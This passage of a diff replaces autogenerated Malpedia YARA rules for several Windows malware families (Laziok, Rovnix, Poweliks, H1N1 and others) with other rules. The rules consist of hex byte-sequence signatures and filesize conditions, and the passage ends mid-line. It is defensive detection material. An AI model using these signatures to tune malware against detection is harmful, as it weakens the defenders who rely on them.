$sequence_4 = { 8945fc 85c0 0f84c2010000 0f1f840000000000 8b7028 33c9 } - $sequence_5 = { 8b5b10 8b433c 8b441878 03c3 8945dc 8b7820 } - $sequence_6 = { 03c1 8955ec 8945e4 85d2 0f8560ffffff 8b5df0 8b7328 } - $sequence_7 = { 7403 4f ebe2 64a130000000 897df8 } - $sequence_8 = { c3 803d????????00 750c c605????????01 } - $sequence_9 = { 664503de 4983c004 4983c102 664585db 75ac 4c8bb42480000000 } - $sequence_10 = { 41bb01000000 48897c2438 4c89ac2488000000 488b4818 4c8b7920 } - $sequence_11 = { 41b9ffff0000 458d6b03 66660f1f840000000000 498b5750 33c0 450fb74748 } - $sequence_12 = { 48ffc2 8801 488d4901 4983e801 } - $sequence_13 = { 7446 4d03cf 0f1f840000000000 418b49f8 49ffca 418b11 4903ce } - $sequence_14 = { 418b11 4903ce 458b41fc 4903d5 4d85c0 7419 0f1f8000000000 } - $sequence_15 = { 488bf0 4885c0 7474 8b7d10 8b5d00 4903fe } - $sequence_16 = { 0f84a7000000 0f1f840000000000 8b4304 85c0 } + $sequence_0 = { 011d???????? 03c8 8b5de4 a1???????? } + $sequence_1 = { 5b 8d7db0 8907 8bc7 bf1f000000 897004 894808 } + $sequence_2 = { 33c0 85ff 742c 8b75d8 03f2 0fbe5405b8 } + $sequence_3 = { 014368 81434400020000 c7434000000000 83534800 } + $sequence_4 = { 014358 8b45f0 01435c 8b45fc } + $sequence_5 = { ff15???????? 0fbe05???????? 56 8945fc ff15???????? } + $sequence_6 = { b801000000 f745c000020000 8bd1 0f44f8 } + $sequence_7 = { 833d????????00 0f85cc000000 6a00 6880000000 6a03 6a00 6a00 } + $sequence_8 = { 10d0 00bb2d784334 2cbb 8d3b 61 } + $sequence_9 = { f5 b56b 55 48 2d63d3c0b9 25809d1976 0482 } + $sequence_10 = { 013d???????? 8b04b5c8054400 0500080000 3bc8 } + $sequence_11 = { 01435c 8b45fc 014360 8b45f4 } + $sequence_12 = { e8???????? 44 b46b d6 1e } + $sequence_13 = { 014364 8b45e4 014368 5b } + $sequence_14 = { 014360 8b45f4 014364 8b45e4 } + $sequence_15 = { 014354 8b45e8 014358 8b45f0 } condition: - 7 of them and filesize < 1015808 + 7 of them and filesize < 51014656 } -rule MALPEDIA_Win_Laziok_Auto : FILE +rule MALPEDIA_Win_Deeppost_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "79b2ce92-e42d-5fec-a687-7e4fbea19571" + id = "26540ba9-fd06-58b9-819a-14fd842afc11" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.laziok" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.laziok_auto.yar#L1-L101" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deeppost" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deeppost_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "621f5999fd77cd3089a05c94f9c8d680d38cd15a4fe64826e89765eb3b0323fd" + logic_hash = "728aa018aa6f90f3b8f03324b5446d97f2579b8aa528bcd211ab4ccdadb166ba" score = 75 quality = 75 tags = "FILE" @@ -142419,30 +142217,32 @@ rule MALPEDIA_Win_Laziok_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 751a ff7610 ff15???????? 56 } - $sequence_1 = { 59 85c0 740a 8b4c240c 8b742408 8901 } - $sequence_2 = { 8bc6 5e c20800 55 8bec 81ec04010000 } - $sequence_3 = { 668945f0 8b4604 8945f4 0fb74608 } - $sequence_4 = { ff74240c 33f6 ff35???????? e8???????? } - $sequence_5 = { 668945f2 8b460c 85c0 7404 8b00 eb03 } - $sequence_6 = { 7513 6a00 ff7510 ff750c ff7608 ff15???????? eb3f } - $sequence_7 = { e8???????? 59 59 85c0 740d 3bc7 } + $sequence_0 = { ff7640 e8???????? 83c410 8b4e3c 85c9 740e 8b06 } + $sequence_1 = { e8???????? 83c40c 85c0 7440 6a06 68???????? 56 } + $sequence_2 = { c1e708 0bca 0bf8 8b03 f780b800000000080000 7509 } + $sequence_3 = { 8bc3 c1e810 8bd6 0fb6c0 c1c208 0fb688589a4800 8bc3 } + $sequence_4 = { 8d85f0feffff 8bd7 53 ff7518 8bce 50 ff7510 } + $sequence_5 = { 8bd3 e8???????? 85c0 0f85ce000000 8d8694000000 8d8f94000000 8945fc } + $sequence_6 = { e8???????? 83c40c 837e1410 8b4d0c 894e10 720f 8b06 } + $sequence_7 = { e8???????? 83c408 85c0 0f84b4000000 6a00 c7404c805d4000 e8???????? } + $sequence_8 = { e8???????? 83c40c 8d0cb500000000 51 8b4dfc ff7108 ff7708 } + $sequence_9 = { e8???????? 83c404 85c0 0f8533080000 b901000000 894dfc e9???????? } condition: - 7 of them and filesize < 688128 + 7 of them and filesize < 1332224 } -rule MALPEDIA_Win_Silentgh0St_Auto : FILE +rule MALPEDIA_Win_Vx_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "291abef6-9e33-5a8d-8adc-76e9209f6497" + id = "819f769e-28ec-57e1-97b7-877072140604" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.silentgh0st" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.silentgh0st_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vx_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vx_rat_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "9a04c7809c217e9efeaf55825390ec7954a79ff3371a97034dc7cf6c87eca139" + logic_hash = "97c6bacd6a4877ccea5be5ba5b0fe3c6e6fc6df11d41b5e80278399e84bfb336" score = 75 quality = 75 tags = "FILE" @@ -142456,32 +142256,32 @@ rule MALPEDIA_Win_Silentgh0St_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c9 c3 8b45fc ff7018 ff750c e8???????? 59 } - $sequence_1 = { 33c4 89842488000000 8b8424a0000000 8b8c2494000000 53 8b9c24a0000000 55 } - $sequence_2 = { e8???????? 8bcf 85c0 7507 e8???????? ebb0 6834020000 } - $sequence_3 = { 33c9 83e701 894c2418 897c2414 a900000004 0f8596000000 c744241801030000 } - $sequence_4 = { 8bc6 c1f805 8bfe 53 8d1c8500c40e10 8b03 83e71f } - $sequence_5 = { 8d04454c950e10 8bc8 2bce 6a03 d1f9 68???????? 2bd9 } - $sequence_6 = { 83c420 e9???????? 8b96bc000000 8b8290000000 3bc5 7514 6a0a } - $sequence_7 = { 8d85f8feffff 6a5c 50 e8???????? 59 59 3bc3 } - $sequence_8 = { 8b4a10 03c0 80e108 03c0 0fb6d1 83c404 03c0 } - $sequence_9 = { 8d8304010000 8bd6 2bd0 b910000000 89542420 eb04 8b542420 } + $sequence_0 = { 8d45f4 64a300000000 8bf1 8b1d???????? c70600000000 c7461400000000 85db } + $sequence_1 = { 8b0d???????? 8bd3 ff7608 6a32 50 } + $sequence_2 = { e9???????? d9ee 84cd 0f84d2ae0000 d9e0 e9???????? ddd8 } + $sequence_3 = { a1???????? 833c0700 7518 6a28 e8???????? 8b0d???????? 83c404 } + $sequence_4 = { 8b45b8 03c0 c78540fdffff07000000 6889000000 } + $sequence_5 = { 8bca c1f906 83e23f 6bd238 8b0c8d10df4300 88441129 } + $sequence_6 = { 8b048510df4300 f644082801 7406 8b440818 5d } + $sequence_7 = { 8b4ddc 8b45e8 8b0c8d10df4300 f644082804 7416 8a45ec } + $sequence_8 = { 55 8bec 8b4510 56 8b750c 8b0e 3b0c8514e24300 } + $sequence_9 = { 68e0070000 57 e8???????? ffb5d8f7ffff eb0c 68e0070000 } condition: - 7 of them and filesize < 2065408 + 7 of them and filesize < 550912 } -rule MALPEDIA_Win_Nagini_Auto : FILE +rule MALPEDIA_Win_Rovnix_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "96b62be7-f485-5281-9063-fa2aa017f19b" + id = "32481422-18fb-556e-8e6c-7773a418af62" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nagini" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nagini_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rovnix" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rovnix_auto.yar#L1-L329" license_url = "N/A" - logic_hash = "7611b927095df92b3b5eaffee00806b1be3b736d512ae6422738ca1d97180738" + logic_hash = "ba6bf6a0e452ea16caba209e420afba03e6b6e5de61f66132ac7c6a92113c249" score = 75 quality = 73 tags = "FILE" @@ -142495,32 +142295,58 @@ rule MALPEDIA_Win_Nagini_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 080c08 07 0d0807110c 0916 100b } - $sequence_1 = { 83781408 7202 8b00 50 e8???????? 83c404 837c245808 } - $sequence_2 = { 0f835ffbffff 03f3 03d3 83fb1f 0f8715040000 ff249da0c64000 8b46e4 } - $sequence_3 = { 0404 0406 0404 06 0404 06 0404 } - $sequence_4 = { 0536240538 27 06 37 260537260535 230434 2203 } - $sequence_5 = { 07 0505080606 0907 07 } - $sequence_6 = { 6a14 8d0440 3d860a0000 756c 6a32 68a0000000 } - $sequence_7 = { 6454 48 68584c6959 4d 6f 5f 53 } - $sequence_8 = { 06 0806 06 0907 } - $sequence_9 = { 89441928 8b45f0 8954192c 8b4df4 8b148dc0914200 } + $sequence_0 = { 83c335 c1e902 ad 2bc3 } + $sequence_1 = { 57 6a00 ffd2 89442408 8bcf } + $sequence_2 = { ad 2bc3 ab e2fa 61 } + $sequence_3 = { 837c242c00 7405 57 6a00 } + $sequence_4 = { 8b15???????? 83e7f0 89542418 83c710 8bea } + $sequence_5 = { 60 bf40090000 be???????? 8b15???????? } + $sequence_6 = { 8b4d0c 897604 8936 8d7e08 } + $sequence_7 = { 8b7e10 eb06 8b5d0c 8b7d08 8bcf } + $sequence_8 = { 8bc2 c1e802 25ff000000 8d4cc324 8b01 } + $sequence_9 = { 85c0 e8???????? 8be5 5d } + $sequence_10 = { 25ff000000 8d4cc624 8b01 3bc1 } + $sequence_11 = { 3bc1 75f3 395e14 7511 ff4e18 } + $sequence_12 = { 894804 8b4608 8b4e0c 8901 894804 8b4718 } + $sequence_13 = { 894f04 8939 897804 ff4308 } + $sequence_14 = { 8975e4 c745ec40020000 8975e8 8975f0 } + $sequence_15 = { 83f919 7703 83c220 85c0 7404 } + $sequence_16 = { e8???????? 8be5 5d c3 85c0 e8???????? } + $sequence_17 = { 5d c3 85c9 e8???????? } + $sequence_18 = { 55 8bec 85db 85c9 } + $sequence_19 = { 23c9 16 85c9 23d2 } + $sequence_20 = { 23db 81e1ff000000 23c9 83440c0404 } + $sequence_21 = { 89442408 8bcf bb1092c63b 8bf8 83c335 c1e902 } + $sequence_22 = { 57 4883ec20 488b35???????? 33c9 bb9a0000c0 e8???????? 33ed } + $sequence_23 = { aa 27 ff44a8d2 4b } + $sequence_24 = { e8???????? 483bf3 75ea 4883c310 4983ec01 75db 8a5508 } + $sequence_25 = { 85c9 23c0 8be5 5d c20800 159e9dc35a fa } + $sequence_26 = { 488d8c2400010000 ba00001080 895c2428 897c2420 ff15???????? 85c0 7914 } + $sequence_27 = { 488905???????? 4a8d0c10 eb0d 488b02 488905???????? 488b0a 488b05???????? } + $sequence_28 = { 6232 27 0149bc 2ec9 } + $sequence_29 = { 8bec 23db 16 23c9 59 } + $sequence_30 = { d147f0 79f4 28f8 8fc1 } + $sequence_31 = { ae d7 b81fe9f60b e8???????? 7660 b85c8e6189 } + $sequence_32 = { 488b4128 4883c120 488905???????? 48890d???????? 4c8918 4c895908 33c0 } + $sequence_33 = { 488bcf ff15???????? 4c8d5c2470 8bc3 498b5b30 498b6b38 498b7348 } + $sequence_34 = { 83440c0404 23c9 8be5 5d c20400 95 367a3e } + $sequence_35 = { 4c397500 741e 837d04ff 750f 837d00ff 7512 488b4308 } condition: - 7 of them and filesize < 12820480 + 7 of them and filesize < 548864 } -rule MALPEDIA_Win_Shujin_Auto : FILE +rule MALPEDIA_Win_Crytox_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "20008e73-1b75-5617-9f42-c7c9bccd7072" + id = "b9e5c6f9-e0d6-531a-8dd0-a7fad4a513e9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shujin" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shujin_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crytox" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crytox_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "498da53687cd17478c7025106c84cdcc0e6118bdb951cd75112ef2c2e9026da6" + logic_hash = "79e78c490080a0e53c534d80effb4ddfe05889d0a54f29415d47f44d77b2adb2" score = 75 quality = 75 tags = "FILE" @@ -142534,32 +142360,32 @@ rule MALPEDIA_Win_Shujin_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff35???????? 8f442404 68dd5d08ae 60 ff3424 } - $sequence_1 = { 56 68???????? 53 53 ff15???????? 8984bdfcfeffff 47 } - $sequence_2 = { 660fa3ff f8 3529af0800 9c c7858cfcffffcccccccc 9c f8 } - $sequence_3 = { 6814050000 53 68???????? e8???????? 83c40c 891d???????? } - $sequence_4 = { 8b742410 57 6a08 5f 8b4cfe50 } - $sequence_5 = { c1ea02 8a92506c4000 8811 83e003 c1e004 8bd6 c1ea04 } - $sequence_6 = { 8bda 23d8 0fb69be8a54000 33fb 8b5d08 337b04 8b5d0c } - $sequence_7 = { c0f305 f9 6a04 87ce 9c 0fbec9 660face902 } - $sequence_8 = { 885c2404 887c2404 8d642410 e8???????? 9c 668b3424 } - $sequence_9 = { 8d45ec 50 68000f0050 8d8e74040000 57 e8???????? 6a05 } + $sequence_0 = { e9???????? 81fb07100000 0f84fcfcffff e9???????? 81fb0c000200 0f86ebfcffff e9???????? } + $sequence_1 = { f72424 897c2414 8b7c2404 69cf182d0700 89c6 b867fb0900 01ca } + $sequence_2 = { e8???????? 8945c8 8b45c8 c1f809 89c2 8b45cc c1f809 } + $sequence_3 = { e8???????? 395c2430 75e5 8b7c2460 8b442434 31d2 8b5c2430 } + $sequence_4 = { c705????????a9bc6600 e9???????? e8???????? 0fb6c0 8983d0470000 8b03 e8???????? } + $sequence_5 = { e8???????? 8b4c2418 894104 8b4104 8938 8b4104 c7400400000000 } + $sequence_6 = { e8???????? 31c0 eb17 891c24 e8???????? 837d0c00 89f0 } + $sequence_7 = { e8???????? 89442404 8b55d8 8b4208 890424 e8???????? 83f80f } + $sequence_8 = { e9???????? c744240477bf6600 891c24 e8???????? 85c0 750f c705????????05000000 } + $sequence_9 = { e8???????? e9???????? 807b0300 0f84a7000000 a1????????85c07533 e8???????? 480f8eff010000 } condition: - 7 of them and filesize < 172032 + 7 of them and filesize < 6156288 } -rule MALPEDIA_Win_Sys10_Auto : FILE +rule MALPEDIA_Win_Phoreal_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f6b87c71-e5a8-51b9-bf42-5ce35b9897c0" + id = "2e1897fd-9f9a-538a-af8f-a84b5fcbe486" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sys10" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sys10_auto.yar#L1-L112" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoreal" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.phoreal_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "34aa3f50a631ab8b6462b3454dab9cbf3c83a5ccbafc56348e488e070debe8a8" + logic_hash = "18c8ae88c86b0c778613b0a4c96093868db37bfa76fd9a20dc86ddc9f37cec17" score = 75 quality = 75 tags = "FILE" @@ -142573,32 +142399,32 @@ rule MALPEDIA_Win_Sys10_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 ffd7 8b4b08 51 } - $sequence_1 = { 7511 6810270000 ff15???????? 33c0 } - $sequence_2 = { ffd3 6a00 6a00 6a00 6a00 8bf8 } - $sequence_3 = { 7407 53 ff15???????? 8b06 50 } - $sequence_4 = { 53 52 e8???????? 83c42c 85c0 } - $sequence_5 = { ffd7 8b4304 50 ffd7 8b4b08 51 } - $sequence_6 = { 52 ffd7 8b4308 50 } - $sequence_7 = { 57 8d542438 53 52 e8???????? } - $sequence_8 = { 6a00 897c2434 894c242c 89742438 } - $sequence_9 = { 52 6a05 50 ffd6 8b5308 } + $sequence_0 = { 33ff 8d642400 8b4608 3b7e0c 731f 8b0cb8 8d04b8 } + $sequence_1 = { 8bd0 0355f8 83c40c 2bf7 740b 8bce 33c0 } + $sequence_2 = { 8d45ac 50 51 53 ffd6 85c0 750a } + $sequence_3 = { 2bf0 03f8 85f6 7fe0 eb03 83cfff } + $sequence_4 = { 2bc1 50 51 8d45cc 50 53 } + $sequence_5 = { 51 c7852cfeffff01000000 888534feffff e8???????? 8d8554ffffff 33d2 8d7e17 } + $sequence_6 = { 1bd2 f7d2 85d1 75c3 8b5c2414 33ff 8b4c2418 } + $sequence_7 = { 8b0d???????? 8b55fc 8d040f 2bf0 03f1 c1fe02 } + $sequence_8 = { c78574ffffff8992f2a7 c78578ffffffaa9e9aee c7857cffffff89a5c199 c7458067cc6aaf c74584fa1200f5 c74588efc8d4ba } + $sequence_9 = { 85ff 7414 8b855cffffff 50 } condition: - 7 of them and filesize < 286720 + 7 of them and filesize < 622592 } -rule MALPEDIA_Win_Hlux_Auto : FILE +rule MALPEDIA_Win_Unidentified_095_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d4c2052b-0cd7-527b-912e-2b962734b611" + id = "ae500f5e-affa-5f35-9b25-bf3d8d6f6e24" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hlux" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hlux_auto.yar#L1-L158" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_095" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_095_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "779cc27c2a832f57ff4dea76d2b777f85d6a15f93d14c3ef1d8885e9224660be" + logic_hash = "67701e8a3738389ac39b70a15648c44474c2440f2bd29cec3f0c8b5d1f7550a9" score = 75 quality = 75 tags = "FILE" @@ -142612,38 +142438,32 @@ rule MALPEDIA_Win_Hlux_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7406 899d44ffffff 09c9 7506 898d9cfeffff 83ffd6 } - $sequence_1 = { 7503 895598 8b9decfeffff 8d0b 09db } - $sequence_2 = { 0009 1b4e01 e405 9d } - $sequence_3 = { 0088aa4b0023 d18a0688078a 46 018847018a46 } - $sequence_4 = { 0000 008365f0fe8b 4d 0883c108e918 } - $sequence_5 = { 0130 8b13 8b08 85d2 } - $sequence_6 = { 33db 81f926edf50a 742f 8d144b 8d8c8b9948a5f2 8955f0 83f909 } - $sequence_7 = { 7534 85c9 7430 83f9f4 } - $sequence_8 = { bba43c0cdb 8b15???????? 8955c4 895de0 83f8c1 7503 8945d8 } - $sequence_9 = { 010f 840f 0000 008365f0fe8b } - $sequence_10 = { 0104bb 8d1447 89542418 e9???????? } - $sequence_11 = { 0101 c9 c3 6a10 } - $sequence_12 = { 0104b9 33c9 83c408 85c0 } - $sequence_13 = { 898d84feffff 8b0d???????? 8b1d???????? 899d0cffffff } - $sequence_14 = { 83f8a6 7406 89851cffffff 8b1d???????? 895df4 8b3d???????? } - $sequence_15 = { 89bd64ffffff 09c0 750b 83f8c1 7406 } + $sequence_0 = { 4c8d0590ea0000 488d1541dd0000 e8???????? 4885c0 740f 488bcb 4883c420 } + $sequence_1 = { 488d15f0e80100 488d0df5e80100 e8???????? eb2e 803875 } + $sequence_2 = { 7419 4c8d442420 ba01000000 488bcb ff15???????? 85c0 } + $sequence_3 = { 4d3bc1 0f84d1000000 8b7500 498b9cf7b8410200 90 4885db 740b } + $sequence_4 = { 498bcc 488b9424c0000000 48896c2460 48896c2458 48896c2450 48896c2448 4889442440 } + $sequence_5 = { 752e 48895c2430 448d4303 895c2428 488d0d67a00000 4533c9 4489442420 } + $sequence_6 = { 4157 4881ec68020000 488b05???????? 4833c4 4889842440020000 49896b18 } + $sequence_7 = { 4883c308 488d0520990100 483bd8 75d8 b001 4883c420 } + $sequence_8 = { ff15???????? 3d24040000 7523 eb1c 41c70601000000 4885ed 7410 } + $sequence_9 = { e9???????? 488d05b7890100 4a8b0ce8 42385cf938 } condition: - 7 of them and filesize < 3147776 + 7 of them and filesize < 339968 } -rule MALPEDIA_Win_Lyposit_Auto : FILE +rule MALPEDIA_Win_Poweliks_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c947693c-fdb4-5804-b039-d3be391d589e" + id = "f451c0b0-4649-5c08-94b0-36c17c318bbf" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lyposit" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lyposit_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poweliks" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poweliks_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "1aae27919b7142f3a956ce5a03df97f5716bf7d507962564bd1a349d0184cbbf" + logic_hash = "67c4fd9796059c69286d2c247dc5cb104b6a720e1f7ef3b5b45dfcea3566e76a" score = 75 quality = 75 tags = "FILE" @@ -142657,32 +142477,32 @@ rule MALPEDIA_Win_Lyposit_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 68???????? e8???????? 8b5d10 8365fc00 6a1c 6a40 ff15???????? } - $sequence_1 = { 53 ff15???????? 85c0 742a 6aff ff75c0 ff15???????? } - $sequence_2 = { 83c410 85c0 7424 8b4ddc 8a01 3c31 7504 } - $sequence_3 = { 8b0f e8???????? 59 59 0337 } - $sequence_4 = { 52 50 ff91d0000000 8d45e4 50 ff15???????? ebd3 } - $sequence_5 = { 66a3???????? 8be5 5d c3 6a14 68???????? e8???????? } - $sequence_6 = { 84d2 7407 838b0c02000020 807dff00 7407 } - $sequence_7 = { ff75e4 ff7604 ff36 ff7508 e8???????? } - $sequence_8 = { 8b45fc ebd0 53 55 33db 33ed } - $sequence_9 = { ff75e4 ff15???????? 85c0 7425 6a0b 56 ff75d8 } + $sequence_0 = { 3bce 7602 8bce 85c9 7415 8b7d08 8b720c } + $sequence_1 = { 394df4 72cd 8b703c 03f0 8b8e80000000 837c010c00 7449 } + $sequence_2 = { ff55f0 8b7508 8b9e40110000 81c604110000 6a40 6800300000 03de } + $sequence_3 = { 55 8bec 83ec68 6a6b 58 6a65 66894598 } + $sequence_4 = { 6a6b 58 6a65 66894598 58 } + $sequence_5 = { 51 ff15???????? 8945f8 8d45f8 50 ff15???????? 33d2 } + $sequence_6 = { 8b0c87 0fb70443 8b3486 8365fc00 03ca 894df4 } + $sequence_7 = { 58 6a72 6689459a 58 6a6e 6689459c 58 } + $sequence_8 = { 47 83ff0c 72ea 83ff0c } + $sequence_9 = { 8b5df4 03d8 8a4405d0 3a441dd0 } condition: - 7 of them and filesize < 466944 + 7 of them and filesize < 115712 } -rule MALPEDIA_Win_Httpdropper_Auto : FILE +rule MALPEDIA_Win_H1N1_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "18260766-6bdf-5211-bbc4-97447962c71b" + id = "37ad4a5e-e020-5ff8-9301-408e3e0a9d4d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpdropper" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.httpdropper_auto.yar#L1-L186" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.h1n1" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.h1n1_auto.yar#L1-L176" license_url = "N/A" - logic_hash = "22451066791784b19aa73ef3663c2f2d2a5d036611d6a095731732bebf19aeab" + logic_hash = "2e33215c731e3a160279240713f0099872fd50afe0eb8ebfd851884e2b2c7ed5" score = 75 quality = 75 tags = "FILE" @@ -142696,40 +142516,40 @@ rule MALPEDIA_Win_Httpdropper_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bd8 8985d0f0ffff 85db 0f8482000000 6a3c 8d8554f0ffff 6a00 } - $sequence_1 = { 3dff000000 0f87c3020000 f685a8f7ffff10 0f844f010000 8b751c 3bf3 0f8444010000 } - $sequence_2 = { 83c40c 6803010000 8d8c2444030000 51 c744241400000000 ff15???????? 8b3d???????? } - $sequence_3 = { 75f9 2bc1 7511 33c0 5e 8b4dfc 33cd } - $sequence_4 = { b9???????? 8bf0 e8???????? 50 8d9435f4feffff 68???????? 52 } - $sequence_5 = { 8d8d64f2ffff e8???????? 687f0c0000 8d856df2ffff } - $sequence_6 = { 50 8d95f8feffff 52 e8???????? 83c408 85c0 } - $sequence_7 = { 8bc6 c1f805 8d0c8560aa0310 8bc6 83e01f c1e006 8b11 } - $sequence_8 = { 41b800040000 c684246002000000 e8???????? 488d8c2470060000 4c8bcf ba01000000 41b800040000 } - $sequence_9 = { 48894c2450 498bf0 0fb6fa 488d8da1000000 33d2 41b80b030000 } - $sequence_10 = { 48c7c102000080 4889442420 ff15???????? 85c0 0f8513010000 488d0d761d0200 c744244004000000 } - $sequence_11 = { 488985400f0000 4c8bb5c00f0000 48894c2450 4d8be0 4c89442448 488bf2 488d8d31060000 } - $sequence_12 = { 41f7e8 c1fa05 4c8d0520440200 8bc2 c1e81f 03d0 } - $sequence_13 = { 488bd0 ff15???????? 488d0d6b080200 488905???????? e8???????? 488bcb } - $sequence_14 = { 53 55 56 4154 4155 4883ec50 448bca } - $sequence_15 = { 450fb6c0 4489542430 89542428 894c2420 488d1599d50100 488d8c2490000000 } + $sequence_0 = { bb09000000 eb6c 83bde8feffff0a 7563 } + $sequence_1 = { 51 8b7df4 b900100000 33c0 f3aa 59 } + $sequence_2 = { c745cc01000000 c745d010000000 c745d402000000 c745d820000000 c745dc04000000 c745e040000000 } + $sequence_3 = { ff05???????? 6800020000 ff35???????? 58 } + $sequence_4 = { 3503003400 ab 2d0e00fcff ab } + $sequence_5 = { ffd0 ff750c ff75f0 ff75f4 8d45b8 50 e8???????? } + $sequence_6 = { c745e404000000 c745e840000000 0fb77b06 8db3f8000000 33c9 f7462400000020 7403 } + $sequence_7 = { ff75f8 ff7508 ff75fc ff75f4 ff35???????? 58 ffd0 } + $sequence_8 = { 25ff000000 c1e908 330c85908f0010 42 } + $sequence_9 = { 8bc1 83e001 d1e9 330c8500850010 330c95f48b0010 42 890c95bc850010 } + $sequence_10 = { 8b442404 33d2 a3???????? 42 b9c0850010 8b01 c1e81e } + $sequence_11 = { 50 68fc600010 6804010000 ff7508 e8???????? 83c424 c9 } + $sequence_12 = { 81ff7c8f0010 7cd4 5f 8b0d???????? 330d???????? } + $sequence_13 = { d1e9 330c8500850010 330d???????? 890d???????? 8b0cb5c0850010 8bc1 c1e80b } + $sequence_14 = { 33f6 53 8bd6 bbffffff7f 8b0c95c4850010 330c95c0850010 23cb } + $sequence_15 = { 68f4600010 56 e8???????? 8bf0 59 } condition: - 7 of them and filesize < 524288 + 7 of them and filesize < 172032 } -rule MALPEDIA_Win_Cuegoe_Auto : FILE +rule MALPEDIA_Win_Deepdata_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1c8a706e-da68-55ba-a4ca-eaa50b244652" + id = "8aad3a67-fb15-5e5f-9d9e-ff6fff6a45f8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cuegoe" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cuegoe_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deepdata" + source_url = 